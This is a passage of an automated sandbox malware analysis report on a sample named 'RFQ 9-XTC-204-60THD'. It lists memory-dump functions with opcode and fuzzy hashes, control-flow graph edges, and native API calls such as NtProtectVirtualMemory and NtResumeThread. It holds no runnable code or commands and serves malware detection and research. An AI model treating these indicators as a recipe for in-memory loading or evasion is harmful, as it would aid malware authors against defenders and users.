6df5ae8-6df5af0 260->266 267 6df5af5-6df5b79 260->267 266->143 273 6df5b7b-6df5b83 267->273 274 6df5b88-6df5c0c 267->274 273->143 280 6df5c0e-6df5c16 274->280 281 6df5c1b-6df5c9f 274->281 280->143 287 6df5cae-6df5d32 281->287 288 6df5ca1-6df5ca9 281->288 294 6df5d34-6df5d3c 287->294 295 6df5d41-6df5dc5 287->295 288->143 294->143 301 6df5dc7-6df5dcf 295->301 302 6df5dd4-6df5e58 295->302 301->143 308 6df5e5a-6df5e62 302->308 309 6df5e64-6df5e66 302->309 308->143 309->143 310->32 311->32
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: 2
                                                                                                      • API String ID: 0-450215437
                                                                                                      • Opcode ID: fa532e554ed471857f8abe271ffb83e0b59186a7fec919fe64da5f877af61152
                                                                                                      • Instruction ID: 573dca1e7d8c6c2aea009428e53cdc1797fe6794be4ecad44e3c604d41e72521
                                                                                                      • Opcode Fuzzy Hash: fa532e554ed471857f8abe271ffb83e0b59186a7fec919fe64da5f877af61152
                                                                                                      • Instruction Fuzzy Hash: 1DE2F474E006288FDB65DF68E884B99B7F6FB49305F1081E9D909A7354DB30AE85CF50
                                                                                                      Function 072A0040 Relevance: 2.3, Strings: 1, Instructions: 1098COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: 4
                                                                                                      • API String ID: 0-4088798008
                                                                                                      • Opcode ID: 6815dabac304dd16db69b39c0dd272e17352f1840f5a6bf1ef89e59ebd12842c
                                                                                                      • Instruction ID: c37ba28b842a55b4c89b7acc5dd896c9311a02a67b96d781cc6f3694664c9865
                                                                                                      • Opcode Fuzzy Hash: 6815dabac304dd16db69b39c0dd272e17352f1840f5a6bf1ef89e59ebd12842c
                                                                                                      • Instruction Fuzzy Hash: 3AB22774A10229DFDB24CFA5C994BADB7B2FF88700F148199E505AB3A5DB70AC81CF50
                                                                                                      Function 0603A958 Relevance: 1.9, Strings: 1, Instructions: 615COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 732 603a958-603a979 733 603a980-603aa10 call 603b4b1 732->733 734 603a97b 732->734 739 603aa16-603aa53 733->739 734->733 741 603aa62 739->741 742 603aa55-603aa60 739->742 743 603aa6c-603ab87 741->743 742->743 754 603ab99-603abc4 743->754 755 603ab89-603ab8f 743->755 756 603b390-603b3ac 754->756 755->754 757 603b3b2-603b3cd 756->757 758 603abc9-603ad2c call 6039898 756->758 769 603ad3e-603aed3 call 6037220 call 60344e8 758->769 770 603ad2e-603ad34 758->770 782 603aed5-603aed9 769->782 783 603af38-603af42 769->783 770->769 785 603aee1-603af33 782->785 786 603aedb-603aedc 782->786 784 603b169-603b188 783->784 788 603af47-603b08d call 6039898 784->788 789 603b18e-603b1b8 784->789 787 603b20e-603b279 785->787 786->787 806 603b28b-603b2d6 787->806 807 603b27b-603b281 787->807 818 603b093-603b15f call 6039898 788->818 819 603b162-603b163 788->819 795 603b20b-603b20c 789->795 796 603b1ba-603b208 789->796 795->787 796->795 808 603b375-603b38d 806->808 809 603b2dc-603b374 806->809 807->806 808->756 809->808 818->819 819->784
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: 8
                                                                                                      • API String ID: 0-4194326291
                                                                                                      • Opcode ID: c3c70785973359fe620a2aff98728ddf9decb4077a7d17cb243686767cd1ce6c
                                                                                                      • Instruction ID: 72bb9ae7a1326d4b5c6bca85a5ade25bdf99064a3e90669b4fd00a9c27093098
                                                                                                      • Opcode Fuzzy Hash: c3c70785973359fe620a2aff98728ddf9decb4077a7d17cb243686767cd1ce6c
                                                                                                      • Instruction Fuzzy Hash: E852D275E006298FDB64DF68D850AD9B7B6FB89300F1086EAD909B7354DB70AE81CF50
                                                                                                      Function 0603DFA0 Relevance: 1.8, APIs: 1, Instructions: 289nativeCOMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 827 603dfa0-603e206 NtProtectVirtualMemory 830 603e208-603e20e 827->830 831 603e20f-603e234 827->831 830->831
                                                                                                      APIs
                                                                                                      • NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0603E1F9
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProtectVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 2706961497-0
                                                                                                      • Opcode ID: 1590325d0a57b078fab3716728280582b6a8ebcd0077f644622254edd7a7c02f
                                                                                                      • Instruction ID: fc237563017291e22374a2904824e5a9003bb1116e8dd7fd6553a8e9a2c961d3
                                                                                                      • Opcode Fuzzy Hash: 1590325d0a57b078fab3716728280582b6a8ebcd0077f644622254edd7a7c02f
                                                                                                      • Instruction Fuzzy Hash: F42133B5D013499FDB00CFA9D8806DEFBF5FF48310F20842AE559A7260C7759A00CBA0
                                                                                                      Function 072A0367 Relevance: 1.7, Strings: 1, Instructions: 495COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: 4
                                                                                                      • API String ID: 0-4088798008
                                                                                                      • Opcode ID: b8691d0a5f66ab1fdb34cc464378a847134d94933fd931b38af60741bd2628c3
                                                                                                      • Instruction ID: adfa22da5c0c20d881682bf5d3326858a99a443c973215a554f399b381fab437
                                                                                                      • Opcode Fuzzy Hash: b8691d0a5f66ab1fdb34cc464378a847134d94933fd931b38af60741bd2628c3
                                                                                                      • Instruction Fuzzy Hash: 32223D74A1022ADFDB24DF65C984BADB7B2FF88700F148199D509AB395EB70AD81CF50
                                                                                                      Function 0603E170 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0603E1F9
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: MemoryProtectVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 2706961497-0
                                                                                                      • Opcode ID: b85847d0237071d73a2ca724e62091895926170d32c489dd41ece0ec3068d4a0
                                                                                                      • Instruction ID: 12153db2283c37e47b48fc5251d83dab99fa1878af980d0bc5a26bca7d6d9651
                                                                                                      • Opcode Fuzzy Hash: b85847d0237071d73a2ca724e62091895926170d32c489dd41ece0ec3068d4a0
                                                                                                      • Instruction Fuzzy Hash: 002100B1D013499FDB10CFAAD984ADEFBF5FF48310F20842AE519A7250C775AA40CBA4
                                                                                                      Function 0484E868 Relevance: 1.6, APIs: 1, Instructions: 56nativethreadCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • NtResumeThread.NTDLL(?,?), ref: 0484E8DE
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ResumeThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 947044025-0
                                                                                                      • Opcode ID: 549505a44f49fa5e2a19007dd8e345bd320fda319acf1b9adcc0b90cc3f92589
                                                                                                      • Instruction ID: 6e5a2ff681bb703179b6deb2b661222590ef93e2f4956b432ef56d381ac15ac8
                                                                                                      • Opcode Fuzzy Hash: 549505a44f49fa5e2a19007dd8e345bd320fda319acf1b9adcc0b90cc3f92589
                                                                                                      • Instruction Fuzzy Hash: 8711F4B1D043498BDB10DFAAC4847AEFBF4FF48220F10842AD519A7240D7B99945CFA5
                                                                                                      Function 0484E870 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • NtResumeThread.NTDLL(?,?), ref: 0484E8DE
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: ResumeThread
                                                                                                      • String ID:
                                                                                                      • API String ID: 947044025-0
                                                                                                      • Opcode ID: a40c8b08c85c49dc36053bd31d3a0d21b805b1a49bff0b63e7ef2efe6579aa55
                                                                                                      • Instruction ID: 58ffba5792d57f620bd33bbe5f8e04adc4f9cb604e3e68cdcc7d7c250dd3d3a8
                                                                                                      • Opcode Fuzzy Hash: a40c8b08c85c49dc36053bd31d3a0d21b805b1a49bff0b63e7ef2efe6579aa55
                                                                                                      • Instruction Fuzzy Hash: 901103B1D003488BDB10DFAAC4847AFFBF4BF88220F10842AD519A7240CB79A944CFA5
                                                                                                      Function 0603A94B Relevance: 1.4, Strings: 1, Instructions: 178COMMON
                                                                                                      Download Yara Rule
                                                                                                      Strings
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID: h
                                                                                                      • API String ID: 0-2439710439
                                                                                                      • Opcode ID: e4a4a07e1c2dabfc34115762ac1e34b365445192d53578d3b9b69c1b7c32c8e4
                                                                                                      • Instruction ID: 27802368b472fdf586c35f377da34170e6acf403283640ba6d817251dba3d3e4
                                                                                                      • Opcode Fuzzy Hash: e4a4a07e1c2dabfc34115762ac1e34b365445192d53578d3b9b69c1b7c32c8e4
                                                                                                      • Instruction Fuzzy Hash: 06810671E006289FEB54DF69D850AD9BBB6FF89300F1085EAD909B7250DB306E85CF50
                                                                                                      Function 06DF3C60 Relevance: 1.0, Instructions: 983COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 18ea0e57e51293b92cf360c28e7964b8c3e700a37dd5452282368487e946a408
                                                                                                      • Instruction ID: b3130086ebb8651a3fcb64cefe35013fc161492c30b51c5883f4b3d85e98ff42
                                                                                                      • Opcode Fuzzy Hash: 18ea0e57e51293b92cf360c28e7964b8c3e700a37dd5452282368487e946a408
                                                                                                      • Instruction Fuzzy Hash: 56A2C775A00228CFDB54CF69C984A99BBF2FF89304F1581E9D509AB366DB319E81CF50
                                                                                                      Function 04848688 Relevance: .6, Instructions: 620COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 936feed28f718d2540abfd6501abe1c4963f2fe24b3818f2989f8fa9fd7f72d6
                                                                                                      • Instruction ID: 2b9f610e2d99e89527e27592f91bec2f8fea6ac7df1fb4348e3b67d602a00393
                                                                                                      • Opcode Fuzzy Hash: 936feed28f718d2540abfd6501abe1c4963f2fe24b3818f2989f8fa9fd7f72d6
                                                                                                      • Instruction Fuzzy Hash: 14328974B012098FEB19EB69C550BAEB7F6BFC8704F244969E146DB3A0CB34E901CB51
                                                                                                      Function 06DF68CB Relevance: .5, Instructions: 539COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573686437.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6df0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0fd419079753e8cbb49d91ccb0bb42da1f7db7891b7ed588c160c274e829407e
                                                                                                      • Instruction ID: c5d3d0669bb9ce400ab5004b9f5b4867fb3543cf3745c2f4ac4352e82dafbddc
                                                                                                      • Opcode Fuzzy Hash: 0fd419079753e8cbb49d91ccb0bb42da1f7db7891b7ed588c160c274e829407e
                                                                                                      • Instruction Fuzzy Hash: FD52C274A006288FDBA0DF28D984B9AB7B2FF49305F1081D9D90DA7355DB30AE81CF64
                                                                                                      Function 06E4B718 Relevance: .4, Instructions: 437COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 91dda84bf3ebfb15ae835c08d328dda7fce985f32564c84b954648bb563249b3
                                                                                                      • Instruction ID: 91ad13f45be672f437408833b94566da00b986c733ca564e5a95378b49e99051
                                                                                                      • Opcode Fuzzy Hash: 91dda84bf3ebfb15ae835c08d328dda7fce985f32564c84b954648bb563249b3
                                                                                                      • Instruction Fuzzy Hash: BE124974E05218CFEB64DF69E885BA9B7B2FB89304F1090E9D909A7358DB309D81CF51
                                                                                                      Function 06E4B709 Relevance: .4, Instructions: 428COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 0280dfefef53c87dc81e5f0ba67c94c0bd9ff24f378b5dec325ff2ecd8e74378
                                                                                                      • Instruction ID: 0eb80a26433b787cc695e57ad8332ab462671fa2c779940357589a21846cdcd3
                                                                                                      • Opcode Fuzzy Hash: 0280dfefef53c87dc81e5f0ba67c94c0bd9ff24f378b5dec325ff2ecd8e74378
                                                                                                      • Instruction Fuzzy Hash: 13122774E01218CFEB64DF69E885BA9B7B2FB89304F1090E9D909A7358DB309D85CF51
                                                                                                      Function 04845008 Relevance: .3, Instructions: 289COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: ee9fbc9e65ee0e27ab2880e6fba61a73acc69d3c9e08d5e3d5f9eac2a93d4723
                                                                                                      • Instruction ID: d9ba2bcdc0b44d278aec8c75cb5348ecd293d165c3c8910011a86b1ea2d30506
                                                                                                      • Opcode Fuzzy Hash: ee9fbc9e65ee0e27ab2880e6fba61a73acc69d3c9e08d5e3d5f9eac2a93d4723
                                                                                                      • Instruction Fuzzy Hash: C9D11470A0521CDFEB14CFA8D444BAEBBB2FB89308F1085A9D609E7255EB746984CF50
                                                                                                      Function 072EEDF8 Relevance: .3, Instructions: 276COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575688740.00000000072D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072D0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72d0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 800ea2ede19efe2d16a59e518ff911d23b08ae18f5cf1ebec940b07a805a5d04
                                                                                                      • Instruction ID: e6a5d4df0155577053384ed0e4235422d7dd7c5d2459cddfed4e5f9b41917e95
                                                                                                      • Opcode Fuzzy Hash: 800ea2ede19efe2d16a59e518ff911d23b08ae18f5cf1ebec940b07a805a5d04
                                                                                                      • Instruction Fuzzy Hash: 64D1BEB4E10218CFDB54DFA9D994A9DBBB2FF88300F1481A9D409AB365DB31AD81CF50
                                                                                                      Function 06E4C758 Relevance: .3, Instructions: 260COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b76c469e11a378d553b7679e12841a756871fe463eca2e00ea82902db075595d
                                                                                                      • Instruction ID: c1b686decc4b48a188bb66d6feb720ca1b0228af025f594a7585b69b1f6a0e03
                                                                                                      • Opcode Fuzzy Hash: b76c469e11a378d553b7679e12841a756871fe463eca2e00ea82902db075595d
                                                                                                      • Instruction Fuzzy Hash: A8B11774E06218CFEB94DFA9E844BEDB7F2FB89704F2090A9D509A7245DB705985CF40
                                                                                                      Function 06E4C748 Relevance: .3, Instructions: 254COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b0a11942ba62738a45fa1e602de8bcaa35a164cb270280025509a47b36cd4dc1
                                                                                                      • Instruction ID: 14d271c48aca68a7082104966a4a4c68ed83354ff5380171b72e599d0f8846dc
                                                                                                      • Opcode Fuzzy Hash: b0a11942ba62738a45fa1e602de8bcaa35a164cb270280025509a47b36cd4dc1
                                                                                                      • Instruction Fuzzy Hash: BBB10374E06218CFEB94DFA9E884B9DBBF2FB89704F2090A9D509A7244DB705985CF40
                                                                                                      Function 06E43520 Relevance: .2, Instructions: 249COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 003e8bfd7025801c2ef50bd6414247d606d7aa33532a3c3cb6d4ed1791da90f0
                                                                                                      • Instruction ID: c26137c278fc1217386a09c8a617c685fd8cd6d88f3a48e89ef9ddc3011f3afd
                                                                                                      • Opcode Fuzzy Hash: 003e8bfd7025801c2ef50bd6414247d606d7aa33532a3c3cb6d4ed1791da90f0
                                                                                                      • Instruction Fuzzy Hash: E0B1E474E05208CFEB94DFAAE584B9DBBF2FB49304F2090A9D409A7395D7749985CF40
                                                                                                      Function 06E43511 Relevance: .2, Instructions: 248COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: f96fbc0d58cca3fdc0c83c561109ed087f2630ccd16a24e3e466ae8d1ed3a967
                                                                                                      • Instruction ID: 88a5779bc28baaa924f5761b26ba8723ab703b04fb23526295215f4e0b849e47
                                                                                                      • Opcode Fuzzy Hash: f96fbc0d58cca3fdc0c83c561109ed087f2630ccd16a24e3e466ae8d1ed3a967
                                                                                                      • Instruction Fuzzy Hash: 0FB1D274E05208CFEB94DFAAE584B9DBBF2FB49304F2090A9D409A7355DB749985CF40
                                                                                                      Function 06E42A58 Relevance: .2, Instructions: 226COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3337772e9ea421ffce34da0cdfce6c46883e4b683dc04d34222d6a54a3892388
                                                                                                      • Instruction ID: 7ca37ea678a5b3b11a086f27e8ad47c3deb17adca2a9631cc55739b538b53d17
                                                                                                      • Opcode Fuzzy Hash: 3337772e9ea421ffce34da0cdfce6c46883e4b683dc04d34222d6a54a3892388
                                                                                                      • Instruction Fuzzy Hash: C0A10470D05318CFEBA4DF79E844BADBBB2BF49304F50A0A9E509AB255DB704A85CF50
                                                                                                      Function 06E42A48 Relevance: .2, Instructions: 224COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 7691e1dd6ba3a91651a97ee16f97d9607b5771657a9b7d0cbf67e78a75f003f4
                                                                                                      • Instruction ID: 851e59e1954bcb7d64bd179ee9f6aea88b67c495cb4c95ded20500e29e95e111
                                                                                                      • Opcode Fuzzy Hash: 7691e1dd6ba3a91651a97ee16f97d9607b5771657a9b7d0cbf67e78a75f003f4
                                                                                                      • Instruction Fuzzy Hash: 7DA12570D05318CFEBA4DF69E844BEDBBB2BF49304F50A0A9E509AB255DB704A85CF50
                                                                                                      Function 0603DAE0 Relevance: .2, Instructions: 180COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3ec3af532d28e1048d77fb06fdb20f6f9df0938210a55724c81d72b07a6073d8
                                                                                                      • Instruction ID: 5c772cf5844d94331cb73d6d939d833218199d1836c68dab1d2e32dc713f854a
                                                                                                      • Opcode Fuzzy Hash: 3ec3af532d28e1048d77fb06fdb20f6f9df0938210a55724c81d72b07a6073d8
                                                                                                      • Instruction Fuzzy Hash: F571EA74E01209DFDB44DFA9D581AAEBBF6FF88301F108469E509AB394DB30A945CF94
                                                                                                      Function 0603DAD0 Relevance: .2, Instructions: 179COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1566612304.0000000006030000.00000040.00000800.00020000.00000000.sdmp, Offset: 06030000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6030000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 85565edc92e35462faffa9c53813bff03ab18bde372b04caf2c77e3e58697221
                                                                                                      • Instruction ID: a9bad20b1f1820e38704612b1a1880bfa56415b0c944b7da1ed34c9d255c2831
                                                                                                      • Opcode Fuzzy Hash: 85565edc92e35462faffa9c53813bff03ab18bde372b04caf2c77e3e58697221
                                                                                                      • Instruction Fuzzy Hash: 8771F974E01208DFDB44DFA9E581AAEBBF6FF88301F148469E509AB394DB30A945CF54
                                                                                                      Function 048438D0 Relevance: .1, Instructions: 147COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b6e3568f4014a93a5fad0e9110b3a87bfdb368e99739d25fe5b48edc9e8dd21b
                                                                                                      • Instruction ID: 89887f0bb8553840d54ef77fbc41481c0321385c8449dab49469915439316966
                                                                                                      • Opcode Fuzzy Hash: b6e3568f4014a93a5fad0e9110b3a87bfdb368e99739d25fe5b48edc9e8dd21b
                                                                                                      • Instruction Fuzzy Hash: 6D51F370A0620CCFDB11DFA4E1447EDBBF6FB8A308F205669D809E7684E7756985CB11
                                                                                                      Function 048438C1 Relevance: .1, Instructions: 146COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1565151629.0000000004840000.00000040.00000800.00020000.00000000.sdmp, Offset: 04840000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_4840000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e07c6b44aa23c1f77ba3ca99d51d4f48e1183386c25d333e63ef9f123d3b220c
                                                                                                      • Instruction ID: abba4d283928168566749e5ced5ed6e74fb23433e7ff3d52d653207b71052a80
                                                                                                      • Opcode Fuzzy Hash: e07c6b44aa23c1f77ba3ca99d51d4f48e1183386c25d333e63ef9f123d3b220c
                                                                                                      • Instruction Fuzzy Hash: 05511270A0620CCFEB11EFA8E1447EDBBF2FB8A304F205669D805A7784E7756985CB11
                                                                                                      Function 04847020 Relevance: .1, Instructions: 70COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
